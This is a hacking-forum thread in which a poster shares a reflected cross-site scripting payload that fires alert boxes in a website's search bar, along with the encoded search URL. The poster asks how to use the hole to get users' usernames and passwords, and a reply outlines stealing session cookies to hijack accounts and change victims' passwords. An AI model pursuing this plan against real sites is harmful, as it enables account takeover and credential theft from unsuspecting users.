Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

I have question about Cross Site Scripting

Hello dear hackforum members.

I wanted to ask what I could do if I found this gap that then i enter this code in the search bar
Code
";alert(3)//--></SCRIPT>
<SCRIPT>alert("Hey");</SCRIPT>

Code successfully executes and alert box pop up.

I'm thinking maybe somehow i can use this gap and get usernames;passwords of users.
Any ideas will be accepted. Thank you.

This is example how website url looks after execute search button
Code
/index.php?do=search&subaction=search&search_start=0&full_search=&result_from=1&story="%3Balert(3)%2F%2F--><%2FSCRIPT>+<SCRIPT>alert("Hey")%3B<%2FSCRIPT>&dosearch=Search
(Feb 16, 2019 03:40 AM)Fisher Wrote:  Hello dear hackforum members.

I wanted to ask what I could do if I found this gap that then i enter this code in the search bar
Code
";alert(3)//--></SCRIPT>
<SCRIPT>alert("Hey");</SCRIPT>

Code successfully executes and alert box pop up.

I'm thinking maybe somehow i can use this gap and get usernames;passwords of users.
Any ideas will be accepted. Thank you.

This is example how website url looks after execute search button
Code
/index.php?do=search&subaction=search&search_start=0&full_search=&result_from=1&story="%3Balert(3)%2F%2F--><%2FSCRIPT>+<SCRIPT>alert("Hey")%3B<%2FSCRIPT>&dosearch=Search

Most of the time xss-attacks are used to steal sessions and you then swap the password with your own after you applied the targets cookie on your script/browser.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by nixehiDec 28, 2019 02:13 PM 0 373 Dec 28, 2019 02:13 PM
Last Post: nixehi
by Error667Sep 5, 2019 09:11 PM 31 5,130 Sep 5, 2019 09:11 PM
Last Post: Katalyst Dre
by Temp3stu0usFeb 23, 2019 08:42 AM 0 114 Feb 23, 2019 08:42 AM
Last Post: Temp3stu0us